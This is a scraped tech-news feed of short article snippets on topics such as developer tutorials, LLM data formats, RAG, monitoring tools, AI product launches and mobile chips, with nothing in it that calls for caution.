    CinemaSins just dropped “Everything Wrong With The Wiz In 15 Minutes Or Less,” using Wicked’s big-screen comeback as an excuse to blaze down the yellow brick road and roast every musical misstep and wardrobe whoopsie of the ’78 classic. Spoiler alert: it’s surprisingly more entertaining than you remember. Want more sin? Hit up their Linktree for the latest videos, toss them a coin on Patreon, and junk-mail Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on Twitter. You can also join the chatter on Discord, Reddit, Instagram, and TikTok. Watch on YouTube  ( 6 min )
    Sector HQ Weekly Digest - November 19, 2025
    Sector HQ Weekly Digest - November 19, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 530124.7 | 343 events this week Anthropic - Score: 253535.7 | 51 events this week Google - Score: 158934.0 | 125 events this week Amazon - Score: 135271.9 | 22 events this week Microsoft - Score: 134009.8 | 99 events this week Nvidia - Score: 124577.5 | 161 events this week Meta - Score: 94628.0 | 61 events this week Apple - Score: 76821.9 | 94 events this week Perplexity - Score: 47342.6 | 3 events this week DeepMind - Score: 41453.5 | 8 events this week ↑ Sony jumped 277 positions to #68 ↑ Stability AI jumped 183 positions to #76 ↑ Bytedance jumped 143 positions to #52 ↑ Scale AI jumped 122 positions to #43 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )
    Introducing Domenico Tenace Open Labs: A New Home for Open Source Innovation 🚀
    Overview Hello everyone 👋 Today I'm excited to share something I've been working on that's pretty close to my heart: Domenico Tenace Open Labs, my new GitHub organization dedicated to open source projects. If you're wondering why I decided to create this, well, it's simple: I wanted a centralized space where all my open source work could live, breathe, and grow with the help of the community. No more scattered repos, no more confusion about where to find what. Just a clean, organized digital lab where developers can explore, use, contribute, and learn together. Let's start! 🤙 You might be asking yourself: "Why not just keep everything in your personal GitHub account?" Fair question! Here's the thing: as my projects started to grow, I realized they needed a proper home. An organization …  ( 9 min )
    Trusting AI Models With TEEs - Private, Decentralized, Verified Part 2
    In the first part, I referenced DeAI and how Oasis suggests a combination of RONL (runtime on-chain logic, Sapphire confidential EVM) and ROFL (runtime off-chain logic, framework) components, with SGX and TDX TEEs, pave the groundwork for trustworthy AI models. Here, I will show fine-tuning of an LLM in Oasis TEE and publishing provenance information on-chain. Fine-tuning an LLM in a TEE In this experiment, we will try to integrate a GPU-enabled TEE with Oasis. We will use fine-tuning for a sample machine learning (ML) task where we will teach a new fact to an existing foundation model. This ML task is set up using a server with AMD SEV-SNP and an NVIDIA H100 to run a confidential VM in accordance with NVIDIA’s deployment guide. The confidential VM shares an initialization script with th…  ( 8 min )
    [Boost]
    🔍 difit: Preview GitHub-like diffs locally before you push Yuji Ueki ・ Jul 18 #git #cli #productivity #devtools  ( 6 min )
    How I Designed a Modular, Event-Driven Architecture for Real-Time Voice AI
    Most voice AI systems today are built as a fixed chain: STT → LLM → TTS → Audio Output. This works for demos, but falls apart the moment you need: Custom business logic CRM integrations Multi-agent routing Knowledge lookups Scheduling flows Post-call actions Pipeline branching Swappable providers (Claude vs GPT, Deepgram vs Whisper, etc.) So for EchoStack, I scrapped the idea of a “voice bot pipeline” entirely and built a voice automation platform powered by an event-driven orchestration layer. Here’s how the architecture works — and why it has completely changed what’s possible with real-time AI. Not STT. Just pure audio transport: User Mic → LiveKit → EchoStack EchoStack → LiveKit → User Speaker Inside EchoStack, every audio frame becomes an event: processing.livekit.audio_frame This…  ( 8 min )
    🧠 What 7 Years in .NET Development Taught Me About Software Craftsmanship
    After a decade of building systems in .NET from small internal tools to large-scale enterprise platforms. I’ve learned that great software isn’t just about code. It’s about craftsmanship. Here are 10 lessons that stuck with me 👇 1️⃣ Clean code always wins long-term. Quick fixes impress today, but clarity impresses for years. 2️⃣ Patterns are tools, not rules. Don’t force CQRS, DDD, or Clean Architecture unless they solve your actual problem. 3️⃣ Tests are your safety net. Nothing feels better than refactoring confidently because your tests have your back. 4️⃣ Readability > Cleverness. Future-you (and your teammates) will thank you. 5️⃣ Don’t optimize prematurely. Measure first, then act. Performance tuning starts with data, not assumptions. 6️⃣ Understand business logic deeply. The best developers write code that solves the right problem, not just the technical one. 7️⃣ Refactoring is a continuous process. Not a one-time event after the sprint ends. 8️⃣ Learn beyond .NET. Architecture, DevOps, design, and communication matter as much as C#. 9️⃣ Mentorship amplifies your impact. Teaching others sharpens your own skills — and lifts the team. 🔟 Humility keeps you growing. The moment you think you’ve mastered it all, you stop learning. After 7 years, I’ve realized: “Being a Senior developer isn’t about knowing everything — it’s about knowing what truly matters.” 💬 What’s one lesson you learned in your software journey?  ( 7 min )
    How to Create High-Performance 3D Product Viewers Using Three.js + React for Modern eCommerce Stores
    Hi, I am a technology consultant at a leading software, web, mobile and eCommerce development company based in India and the USA. Last week, one of our clients requested a 3D product viewer for their eCommerce store, and our developers wanted to explore more about how to build fast 3D product viewers using React and Three.js. So we created detailed content to help both developers and merchants understand how 3D viewers work and how they can boost conversions in modern eCommerce stores. Let’s begin! 3D product experiences are no longer “future emerging tech”; they are now driving real conversions for online eCommerce stores. With Three.js, React, and lightweight 3D model formats like GLTF/GLB, developers can build immersive product viewers that help customers understand products better, red…  ( 8 min )
    🔐 Control a Solenoid Lock with Arduino Mega (Using a Relay & Push Button)
    Introduction Welcome back, makers! 👋 In this project, you’ll learn how to lock and unlock a solenoid lock using: 1. Arduino Mega 2. A relay module 3. 12V power supply 4. Simple push button Breadboard Jumper wires(male to male and male to female) By the end, you’ll push a button → the solenoid will pull → the lock will OPEN. Push the button again → the solenoid releases → the lock goes back to LOCKED. Let’s dive in! Component Image Description Arduino Mega Microcontroller to read button and control relay 12V Solenoid Lock The physical locking mechanism Relay Module (5V Control) Acts as a switch to send 12V to the solenoid 12V Power Adapter Powers the solenoid and Arduino Push Button Triggers lock/unlock Breadboard & Jumper Wires For easy wiring Here’s the wiring…  ( 8 min )
    The New Analytics Stack: Data Views Tools Agents
    The New Analytics Stack: Data → Views → Tools → Agents The modern analytics stack has quietly gone through a massive shift. It's no longer about dashboards—in fact, it's barely about interfaces anymore. We're moving into a world where "chatting with your data" becomes the primary way teams get answers. Dashboards were built for a different era: Static views: Dashboards show what someone decided was important when they built it. They don't adapt to new questions or changing priorities. Predefined slices: You can only see data the way the dashboard designer structured it. Want to see it differently? Build a new dashboard. Horizontal summaries: Dashboards show high-level metrics across many dimensions, but they can't go deep. They show you that revenue is up 20%, but not why. Useful, sure—b…  ( 16 min )
    Spring's Core Concepts: Bean, Container, and Context Explained
    Hi Everyone , I am new to learning Spring Framework and have started to write about the topics I am learning , sharing them here about the same. Spring Bean If you're diving into the Spring Framework, you've probably encountered terms like Spring Bean, Spring Container, and ApplicationContext. These concepts are the foundation of what makes Spring so powerful and flexible. Think of them as the essential building blocks for your modern Java application. 🧱 What is a Spring Bean? POJO with a twist: A bean is essentially a Plain Old Java Object (POJO) that Spring manages. Managed Lifecycle: Spring controls the entire lifecycle of a bean, from its creation and initialization to the injection of its dependencies and eventual destruction. Definition: You tell Spring which classes should become b…  ( 7 min )
    How not to disappear from the office one minute before closing time
    Practical survival strategies for the modern office ecosystem. There’s a magical moment in every office: exactly 4:58 PM. Leave too early, and people notice. Here’s how to master the balance: 3:45 PM — Slowly close a browser tab. Preferably the one with a recipe for lasagna. 4:30 PM — Take a deep, purposeful sigh, as if you’re solving the world’s problems. 4:58 PM — Open an Excel sheet. Stare at it like it’s the night sky. 5:00:01 PM — Stand up gracefully, as if someone gently unplugged you. 5:01 PM — Walk out calmly, like someone who always finishes on time. Even if that’s a small fib. Do it right, and no one will notice the last 40 minutes you were mentally already on the couch. There’s an unspoken theory: if a team member sits quietly and never complains, they must be availab…  ( 7 min )
    TypeScript vs. JavaScript: Which One Should You Use in 2025?
    The age-old debate – What’s better for development: JavaScript or TypeScript? Okay, maybe it isn’t an age-old conundrum, but it does make several developers scratch their heads before beginning a web development undertaking. Before we dive into these languages (or offshoots of the same language) and discuss their differences as well as which one we believe you should use in your next project, let’s have a look at exploring what they are if you are new to them. JavaScript is an interpreted programming language that allows us to build amazing features on web pages – at least that’s how it would have been defined a couple of years ago – but JavaScript no longer refers to the programming language that simply aids HTML and CSS in building fabulous websites by controlling the behavior of fea…  ( 17 min )
    The Missing Layer Between Data and AI Agents
    Structured Endpoints: The Missing Layer Between Data and AI Agents APIs are too rigid, databases are too risky. We believe structured endpoints—governed views that agents can query safely—are the missing piece that makes AI agents actually work in production. Every time I talk to teams building AI agents, they hit the same wall: how do you give agents access to data? Option 1: Direct database access. Fast, flexible, powerful. Also: security nightmare, governance impossible, performance unpredictable. Agents can query anything, see everything, and bring down your database with a single bad query. Option 2: APIs. Secure, controlled, documented. Also: rigid, limited, slow. APIs expose predefined endpoints with fixed schemas. Agents can only do what the API designer thought of. New questions…  ( 17 min )
    Stop Wasting LLM Tokens: Introducing CTON (Compact Token-Oriented Notation)
    If you are building applications with Large Language Models (LLMs), you are likely familiar with the "Token Tax." Every character you send to an API like OpenAI or Anthropic costs money and eats into your context window. We’ve spent decades treating JSON as the gold standard for data serialization, and for good reason—it's readable and ubiquitous. But JSON is chatty. It loves whitespace, it demands quotes around every key, and it uses heavy punctuation ({, }, [, ]) that adds up quickly when you are sending thousands of records in a prompt. Enter CTON (Compact Token-Oriented Notation). CTON is an aggressively minified, shape-preserving data format designed specifically for LLM interactions. It strips away the syntactic sugar humans like (indentation, excessive quoting) but keeps the structu…  ( 8 min )
    My views dropped like a bag of bricks the last 2 - 3 weeks
    The Best AI Articles Dev.to Won’t Show You Isaac Hagoel ・ Nov 18  ( 6 min )
    The Secret Life of Python: MRO Secrets - The Diamond Problem Solved
    Timothy stared at his screen in disbelief. "Margaret, I don't understand what's happening. I have a simple inheritance hierarchy - a LoggingMixin and a ValidationMixin that both inherit from BaseMixin, and my User class inherits from both. But when I call super().__init__(), methods are being called in a completely bizarre order. Sometimes the same method gets called twice, sometimes it skips methods entirely. What is going on?" He showed her his code: class BaseMixin: def __init__(self): print("BaseMixin.__init__") super().__init__() class LoggingMixin(BaseMixin): def __init__(self): print("LoggingMixin.__init__") super().__init__() class ValidationMixin(BaseMixin): def __init__(self): print("ValidationMixin.__init__") super().…  ( 27 min )
    Neural Networks as a Catalyst for the Evolution of Online Learning
    In today’s rapidly evolving digital landscape, neural networks are reshaping nearly every industry they touch—and education is no exception. Imagine having an intelligent, always-available assistant that guides you through your learning journey with ease. This vision is becoming reality thanks to large language models (LLMs), widely adopted in education under the term LLM4EDU. These advanced systems are transforming how we teach, learn, and understand student progress in ways that once seemed impossible. How LLM4EDU Is Reshaping Learning Neural network–driven tools are already making a significant impact across many educational activities: Virtual Experiments: Students can perform science experiments in safe, simulation-based environments with no logistical constraints. Exam Preparation: P…  ( 8 min )
    Engineering Apps to Scale (Without Breaking)
    Great apps don’t break because of traffic — they break because they were never engineered for it. There’s a moment every developer hits: Most apps run fine at 100 users. Scaling isn’t luck. Early success tricks you. Your API feels fast because only five people are testing it. The real question isn’t: That’s where real engineering begins. Scalable systems don’t emerge by accident. 1. Go Stateless Wherever Possible Stateless services scale horizontally with ease. 2. Cache Like Your Life Depends on It Good caching reduces 60–80% of load. Memory cache Local DB cache Network cache Server cache Offline-first is more than convenience — it’s resilience. 3. Optimize First-Contact Experiences The critical path determines whether users stay or bounce. App launch Login …  ( 7 min )
    JSON is Costing You Money: Enter TOON - the Format Built for LLMs
    If you are building with Large Language Models (LLMs), you are essentially a logistics manager. Your job is to ship information from your database to an AI’s brain and back again, as efficiently as possible. For years, we’ve defaulted to JSON because it is the lingua franca of the web. But have you ever looked at a 50-item JSON list inside a prompt window? It’s a sea of repetitive keys, curly braces, and wasted tokens. In the world of GenAI, context is currency. Every token you waste on syntax is a token you can't use for reasoning, history, or creativity. Enter TOON (Token-Oriented Object Notation). It’s not just "another standard". It is a purpose-built syntax designed to fix the specific headaches of communicating with AI. Today, let's pop the hood, look at some complex examples, and se…  ( 9 min )
    📌 How to build a context-first cloud collaboration model
    When I first started managing cloud projects, every workspace felt disconnected. But I learned quickly: without shared context, automation stalls, standards drift, and AI has nothing to reason from. The fundamentals don’t change. But here’s the reality. The challenge is fragmentation. The opportunity is convergence. A context-first cloud model isn’t just collaboration. Ps: lmk if you would like to check the GitHub repo that we created Check the video here 👉 https://www.youtube.com/watch?v=DRId14gyYnk  ( 6 min )
    How to Sync Anything: Building a Sync Engine from Scratch — Part 2
    Note: This is part of our series demystifying synchronisation. See our other instalments: How to Sync Anything: Introduction, How to Sync Anything: Building a Sync Engine from Scratch — Part 1 and How to Sync Anything: Building a Sync Engine from Scratch — Part 3 In this part, we will learn how to efficiently find out what data needs to be synchronised. Say we have a news app that runs on mobile devices and a server that publishes new stories. Blogs and RSS are good real-world examples. The scenario is this: our app starts for the first time and there are no stories available for the user to read on the device. So, the app asks the server to send the latest set of stories to the device. End result: our users get to read some stories. Later, when our apps starts for the second time, your ap…  ( 11 min )
    Cloud-Based Android Testing: Comparing Infrastructure Options for Development Teams
    The mobile app market is unforgiving. One critical bug on a Samsung device, a crash on Android 11, or a layout issue on a specific screen size can tank your app store ratings overnight. Yet, building and maintaining a comprehensive physical device testing lab has become increasingly impractical for most development teams. Consider the reality: Android runs on thousands of device models, across multiple OS versions, with varying screen sizes, processors, and memory configurations. A proper physical device lab to cover even basic testing scenarios could easily require 20-30 devices, costing thousands of dollars upfront, plus ongoing maintenance, updates, and replacement costs. This is why most development teams today are moving toward cloud-based Android testing infrastructure. But the lands…  ( 15 min )
    Welcome to Coderive 0.1.0: A More Powerful and Polished Experience
    The Coderive project is excited to announce the release of version 0.1.0, packed with updates that make the language more powerful and a joy to use. This release reflects valuable early feedback and our commitment to building a language that works for developers. The developer listened to your needs for a richer ecosystem, which is why he is introducing the Sys library and the builtin keyword, setting the stage for a growing standard library. To help teams write cleaner, more consistent code, Coderive now automatically enforces naming conventions, turning best practices into a built-in feature. The developer also invested heavily in the core engine. With refactored error handling and a more organized codebase, Coderive is not just more capable—it's also built to last. Your input is directly shaping Coderive's future. Dive into v0.1.0 and experience the difference. See the repo here.  ( 6 min )
    How to start a speech like a PRO
    How to Start a Speech like a PRO: 5.5 Tips to Grab Your Audience's Attention As a speaker, you have one job in the first 30 seconds of any speech, pitch, presentation, or meeting: make your audience sit up and listen. The truth is, they won't listen unless you make them, and it's not their job to give you their attention - it's yours to grab it. Unfortunately, the beginnings of most pitches, presentations, and speeches are as dull as dishwater, which is why audiences often find themselves checking their phones, reading emails, or chatting with the person next to them. The good news is that you don't have to do a lot to stand out and start your speech like a pro. In this article, we'll explore the major pitfalls to avoid and provide you with 5.5 top tips for killer intros that will have you…  ( 8 min )
    Amazon S3 Vectors: The Cost-Friendly Way to Store and Search AI Embeddings
    If you've been working with AI or machine learning recently, you've probably heard about vector databases like Pinecone, Qdrant, Milvus, and pgvector. Now, AWS has added its own option: Amazon S3 Vectors. So, is it just another AWS service, or something different? The honest answer: it's different. Neither strictly better nor worse, but unique in its own way. Let's explore what it is, when to use it, and when other solutions might be better. Traditional Amazon S3 is like a giant digital filing cabinet - it's cheap, reliable, and able to hold a vast amount of data. But it's built for storage, not for fast searching. Imagine you're building an AI-powered customer support system. You have millions of old tickets and want to find similar ones fast. Storage fees for embeddings, Query costs, Inf…  ( 8 min )
    I Made a File That's Also Another File (And Your Mind is About to Break) 🤯
    Remember when you were a kid and thought spies were the coolest thing ever? Yeah, me too. Fast forward to present day, and here I am, living my best spy-movie-developer life by building polyglot files into my steganography app. A polyglot file is basically the Inception of file formats. It's a file that works as two completely different formats at the same time. Like, imagine having a JPG image that you can open normally in any image viewer, BUT if you rename it to .zip and extract it, BAM! There's a secret PDF hidden inside. Leo DiCaprio would be proud. That's what I thought too! But then I learned about a beautiful quirk in how ZIP files work: ZIP files are read from the END, not the beginning. Let that sink in for a second. This means you can literally prepend ANY data to the front of…  ( 10 min )
    Analyzing LinkedIn Job Postings: Skill Extraction & Clustering
    Introduction In today’s fast-moving tech job market, understanding what skills are in demand is crucial. I recently worked on a project that automatically analyzes LinkedIn job postings, extracts the technical skills mentioned in each job description, and groups similar roles together. The goal is to help recruiters, job seekers, and data enthusiasts make sense of large volumes of unstructured job posting data. You can check out the project here: GitHub Repository The workflow has four main steps: Data Preparation The project starts by collecting job postings from LinkedIn and creating a manageable sample for analysis. It prepares the text by removing unnecessary clutter like links, punctuation, and irrelevant words. Skill Extraction Each job description is scanned for a list of te…  ( 7 min )
    WordPress 6.9 Is Sneaking In a Feature That’s Way More Useful Than It Sounds
    I’ve been playing with the WordPress 6.9 betas lately, mostly out of curiosity (and a bit of avoidance of actual work), and somehow the feature that stood out the most wasn’t any of the “big” ones. It was Notes. Yeah, Notes. Sounds tiny. Sounds boring. Sounds like something you scribble on a sticky note and lose under your keyboard. But inside the block editor, Notes actually feel like the missing mini-tool we’ve all been faking with comments, Slack screenshots, random emojis, “TODO” blocks, and whatever else we come up with when we need to leave instructions for clients or teammates. Instead of writing stuff like: “hey, reminder to change this later” “please don’t delete this, it breaks something, idk why” …you just drop a note right on the block, and anyone who edits the page later automatically sees it. No digging around. No mystery warnings. No shared doc nobody reads. The fun part is: Notes help both sides — site owners and devs. Clients can leave reminders for writers. Writers can nudge designers. Developers can leave quick “don’t touch this” messages without writing a massive Slack essay at midnight. If you’ve ever managed a WP site with multiple cooks in the kitchen, this is actually a pretty big quality-of-life upgrade. I wrote a small breakdown of the feature, including how to enable Notes for custom post types (easy, surprisingly). If you work with WordPress regularly, it’s worth a look. 👉 *A simple look at the new * Notes feature in WordPress 6.9 If you’ve tried Notes already, curious whether you think it’ll be actually useful long-term or become one of those features everyone forgets after week one.  ( 7 min )
    Serverless Workflow Engines: 40+ Tools Ranked by Latency, Cost, and Developer Experience
    Choosing the right workflow orchestration tool in 2025 feels like navigating a minefield. You've got Temporal with its $349.5M war chest promising bulletproof reliability, serverless upstarts like Inngest reimagining the entire paradigm, and database-native rebels like DBOS claiming 25x performance improvements. Meanwhile, your production system needs a decision yesterday. That is why I did some AI research for you and summarize best choices for you with pros-cons of each. (ofc this is written by AI but hallucination-safe context to help you to choose better!) I spent the last three weeks diving deep into this chaos. Using Gemini Deep Research and Perplexity's comprehensive search capabilities, I analyzed 40+ code-integrated workflow orchestration platforms—reading technical documentation,…  ( 37 min )
    KubeEdge and Edge Computing
    KubeEdge: Extending Kubernetes to the Edge for Robust and Scalable Edge Computing Introduction Edge computing is revolutionizing industries by bringing computation and data storage closer to the source of data, enabling faster processing, reduced latency, and optimized bandwidth usage. While cloud computing remains crucial for centralized services, the need to process data in real-time at the edge has become increasingly important for applications like IoT, autonomous vehicles, and industrial automation. However, managing a fleet of edge devices with varying capabilities and connectivity can be a significant challenge. This is where KubeEdge comes into play. KubeEdge is an open-source system that extends native containerized application orchestration capabilities to hosts at the edge. …  ( 9 min )
    React Component life cycle
    Just as life has different phases involved, i.e we are born, grow and later die, React components experience phases as well. The phases which react components undergo are mounting, updating and unmounting. Components interact with components to provide an interface for user interaction in web applications. However, a component – the building block of every UI we interact with – has a life cycle. Lets go through the phases briefly. This is the first phase in a react component. We can as well say it is the birth phase of a react component. In this phase, a component instance is created and inserted into the DOM.(Document Object Model). We have 4 methods in this phase listed below and in their order. constructor() static getDerivedStateFromProps() render() componentDidMount()  ( 6 min )
    How do I reduce hallucinations when pulling mixed data sources in an LLM-based chatbot?
    I’m building a production chatbot that uses an LLM + vector store + REST API calls. The issue is: whenever the API returns incomplete data or the vector search returns low similarity, the bot starts hallucinating answers. What’s the best practice to strictly force the bot to say “No data available” instead of generating something? Is this a prompt issue, retrieval design issue, or something related to scoring/similarity thresholds?I’m building a production chatbot that uses an LLM + vector store + REST API calls. The issue is: whenever the API returns incomplete data or the vector search returns low similarity, the bot starts hallucinating answers. What’s the best practice to strictly force the bot to say “No data available” instead of generating something? Is this a prompt issue, retrieval design issue, or something related to scoring/similarity thresholds?  ( 6 min )
    Prometheus Monitoring: Complete Setup & Best Practices
    Prometheus Prometheus is an open-source monitoring and alerting toolkit originally developed at SoundCloud in 2012 and now a Cloud Native Computing Foundation (CNCF) graduated project. It's specifically designed for reliability and scalability in dynamic cloud environments, making it the go-to solution for monitoring microservices, containers, and Kubernetes clusters. Time-Series Database: Prometheus stores all data as time-series, identified by metric names and key-value pairs (labels), enabling flexible and powerful querying capabilities. Pull-Based Model: Unlike traditional push-based systems, Prometheus actively scrapes metrics from configured targets at specified intervals, making it more reliable and easier to configure. PromQL Query Language: A powerful functional query language all…  ( 12 min )
    Advanced RAG: LongRAG, Self-RAG and GraphRAG Explained
    Retrieval-Augmented Generation (RAG) Modern RAG systems need to handle massive documents, understand complex entity relationships and much more. Traditional RAG systems follow a simple pattern: chunk documents, embed them into vectors, retrieve similar chunks via cosine similarity, and feed them to an LLM. While effective for many use cases, this approach struggles with three critical scenarios: Long-range dependencies: Important context might span thousands of tokens across multiple chunks Retrieval confidence: The system has no way to assess whether retrieved content is actually relevant Relationship complexity: Vector similarity cannot capture intricate connections between entities Advanced RAG variants address these limitations with specialized architectures tailored to specific chall…  ( 15 min )
    Narrative Alchemist
    Hello everyone! Like many of you here, I often face creative blocks and the "blank page" problem. That feeling when you have a vague image in your head but can't assemble it into a strong, well-thought-out story is probably familiar to everyone. After trying countless methods, I ended up creating a tool for myself that doesn't write for me, but helps me understand my own ideas. It works like a structured brainstorming session with myself. I called it "Narrative Alchemist". What's the core idea? This is not an AI text generator. It's a foundation generator for your story. The tool helps you: Overcome the emptiness of the blank page by offering hundreds of non-obvious ideas through genre hybrids and paradoxes. Think deeper about conflict — not just "hero vs villain," but a clash of differen…  ( 7 min )
    C# Guide: Build Dynamic Word Files with Rich Formatting and Data
    In the fast-paced world of software development, efficiency and automation are paramount. Developers often encounter scenarios where they need to generate structured documents, such as reports, invoices, contracts, or personalized letters, from dynamic data. Manually creating these documents is not only time-consuming but also prone to human error. This is where programmatic document generation becomes an invaluable skill. Imagine a system that can automatically pull data from a database, format it, and output a polished Word document with a click of a button. For C# developers, automating Word document creation opens up a realm of possibilities, from streamlining business processes to enhancing data visualization. This guide will walk you through a practical approach to programmatically c…  ( 10 min )
    When Cloudflare Went Down: The Day the Internet Remembered Cloud Isn’t Invincible
    Cloud outages feel a lot like sudden rain — you never know when it hits, and when it does, everyone runs for cover. In June 2024, Cloudflare, the backbone behind nearly 20% of global web traffic, went down. And just like that, platforms we rely on every day — ChatGPT, X, Spotify, Canva — all threw the dreaded: “500 Internal Server Error” It was the kind of digital storm that reminds us: even the strongest cloud isn’t unbreakable. When a network this big fails, the internet doesn’t bend — it buckles. Millions of API calls fail Streaming apps freeze SaaS dashboards stop loading Support centers get flooded Teams scramble to diagnose what they don’t control It’s a surreal moment where the entire world remembers: The cloud is powerful — but not invincible. While the internet was panic…  ( 7 min )
    Why We Need Chiplets: The Challenges Facing the Semiconductor Industry and How They Help
    The semiconductor industry is under growing pressure to deliver higher performance, lower power consumption, and reduced cost per transistor. However, as process technologies continue to shrink, the traditional monolithic SoC model is reaching both physical and economic limits. Larger dies are more expensive to produce and have lower yield, while not all functions scale efficiently at smaller geometries. The industry’s answer is chiplet-based design. Chiplets enable splitting complex systems into smaller, specialized dies that are easier to manufacture, optimize, and verify. They offer a practical path forward for innovation, cost control, and sustainable scaling. 1. Chiplets and the Semiconductor Industry Problems They Solve Figure 1: Comparison of monolithic SoC and chiplet-based archit…  ( 9 min )
    API Seamless Upgrade Solution: Architectural Evolution from Push Mode to Pull Mode
    Someone on Zhihu asked a question: How to achieve smooth upgrades for Java microservice API version compatibility? In microservice architecture, frequent service iterations lead to increasing differences in API versions, while the upgrade pace of clients (such as Apps, Web frontends) often lags behind. This frequently causes compatibility issues and can even lead to online failures. Common version control strategies, such as adding version numbers in the URL path (/v1/user) or using request headers to distinguish versions, although they can clearly differentiate between different versions, also bring the heavy cost of maintaining multiple versioned interfaces and increase the adaptation difficulty for clients. This article will analyze the root cause of this problem and introduce how the N…  ( 10 min )
    Neo and NBitcoin blockchain projects vs. static analyzer. Who wins?
    Blockchain development is a high-stakes game where code quality really matters. A single undetected bug can lead to major and sometimes irreversible financial losses. Should we really gamble on skipping a static analyzer check? Let's put it to the test by diving into the code of the Neo and NBitcoin projects. Since I brought up the unique nature of blockchain development, let's delve into what that specifically entails. First, many blockchain projects handle digital assets with real-world value: tokens, cryptocurrencies, NFTs, access rights, and others. A code error might not just cause a program malfunction but lead directly to users' financial losses. Second, fixing code in a blockchain project after release may be challenging. In decentralized networks, every node must agree to accept …  ( 13 min )
    Answer: React-PDF Slow Performance with large PDF, reneders unneccessarily.
    If, in 2025, anyone is facing the same issue with react-pdf causing excessive bundle size or initial page load lag, you can try the following approach. Instead of using React.lazy() (which is for JSX components), I'm using standard dynamic imports for the required functions and components. This ensures they are imported and processed only when the PDF button is clicked, not on every page render. This solves the performance and bundle size issues. const handleGeneratePdf = async () => { if (!ticket || !company) return; try { const { pdf } = await import("@react-pdf/renderer"); const { default: CertiPdf } = await import("../CertPdf"); // Generate PDF blob const blob = await pdf().toBlob(); // Create URL for viewing/printing const url = URL.createObjectURL(blob); setPdfUrl(url); } catch (error) { console.error("Error generating PDF:", error); } };  ( 6 min )
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    OpenAI debuts GPT‑5.1-Codex-Max coding model and it already completed a 24-hour task internally
    OpenAI has introduced GPT‑5.1-Codex-Max, a new frontier agentic coding model now available in its Codex developer environment. The release marks a significant step forward in AI-assisted software engineering, offering improved long-horizon reasoning, efficiency, and real-time interactive capabilities. GPT‑5.1-Codex-Max will now replace GPT‑5.1-Codex as the default model across Codex-integrated surfaces. The new model is designed to serve as a persistent, high-context software development agent, capable of managing complex refactors, debugging workflows, and project-scale tasks across multiple context windows. It comes on the heels of Google releasing its powerful new Gemini 3 Pro model yesterday, yet still outperforms or matches it on key coding benchmarks: On SWE-Bench Verified, GPT‑5.1-…
    The Google Search of AI agents? Fetch launches ASI:One and Business tier for new era of non-human web
    Fetch AI, a startup founded and led by former DeepMind founding investor, Humayun Sheikh, today announced the release of three interconnected products designed to provide the trust, coordination, and interoperability needed for large-scale AI agent ecosystems. The launch includes ASI:One, a personal-AI orchestration platform; Fetch Business, a verification and discovery portal for brand agents; and Agentverse, an open directory hosting more than two million agents. Together, the system positions Fetch as an infrastructure provider for what it calls the “Agentic Web”—a layer where consumer AIs and brand AIs collaborate to complete tasks instead of merely suggesting them. The company says the tools address a central limitation in current consumer AI: models can provide recommendations but …
    OpenCV founders launch AI video startup to take on OpenAI and Google
    A new artificial intelligence startup founded by the creators of the world's most widely used computer vision library has emerged from stealth with technology that generates realistic human-centric videos up to five minutes long — a dramatic leap beyond the capabilities of rivals including OpenAI's Sora and Google's Veo. CraftStory, which launched Tuesday with $2 million in funding, is introducing Model 2.0, a video generation system that addresses one of the most significant limitations plaguing the nascent AI video industry: duration. While OpenAI's Sora 2 tops out at 25 seconds and most competing models generate clips of 10 seconds or less, CraftStory's system can produce continuous, coherent video performances that run as long as a typical YouTube tutorial or product demonstration. The…
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    How AI is Transforming Enterprise Operations
    Artificial intelligence is changing how big companies work every single day. What used to take hours of manual effort or long approval chains can now happen in seconds with AI-powered systems. From supply chains to IT operations, AI is helping enter...  ( 7 min )
    A Game Developer’s Guide to Understanding Screen Resolution
    Every game developer obsesses over performance, textures, and frame rates, but resolution is the quiet foundation that makes or breaks visual quality. Whether you are building a pixel-art indie game or a high-fidelity 3D world, understanding how res...  ( 7 min )
    Create a Cute Room Portfolio with Three.js, Blender, JavaScript
    Learn how to use Three.js and Blender to design a stunning and interactive 3D portfolio! We just posted a course on the freeCodeCamp.org YouTube channel that will take you from the foundational concepts of 3D modeling in Blender to creating a fully f...  ( 4 min )
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    Scaling innovation in manufacturing with AI
    Manufacturing is getting a major system upgrade. As AI amplifies existing technologies—like digital twins, the cloud, edge computing, and the industrial internet of things (IIoT)—it is enabling factory operations teams to shift from reactive, isolated problem-solving to proactive, systemwide optimization. Digital twins—physically accurate virtual representations of a piece of equipment, a production line, a process,…  ( 18 min )
    The Download: de-censoring DeepSeek, and Gemini 3
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Quantum physicists have shrunk and “de-censored” DeepSeek R1 The news: A group of quantum physicists at Spanish firm Multiverse Computing claims to have created a version of the powerful reasoning AI model DeepSeek…  ( 23 min )
    Quantum physicists have shrunk and “de-censored” DeepSeek R1
    A group of quantum physicists claims to have created a version of the powerful reasoning AI model DeepSeek R1 that strips out the censorship built into the original by its Chinese creators.  The scientists at Multiverse Computing, a Spanish firm specializing in quantum-inspired AI techniques, created DeepSeek R1 Slim, a model that is 55% smaller…  ( 22 min )
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    Qualcomm To Launch Snapdragon 8 Gen5 SoC On 26 November
    Qualcomm is reportedly set to launch its Snapdragon 8 Gen5 SoC later this month and more precisely, on 26 November. Yes, that’s not a typo and as such, it should not be confused with the Snapdragon 8 Elite Gen5 that the brand launched back in September at its annual Qualcomm Summit. According to multiple reports, […] The post Qualcomm To Launch Snapdragon 8 Gen5 SoC On 26 November appeared first on Lowyat.NET.  ( 33 min )
    iOS 26.2 Beta Lets iPhone Users Swap Siri For Third-Party Voice Assistants, But…
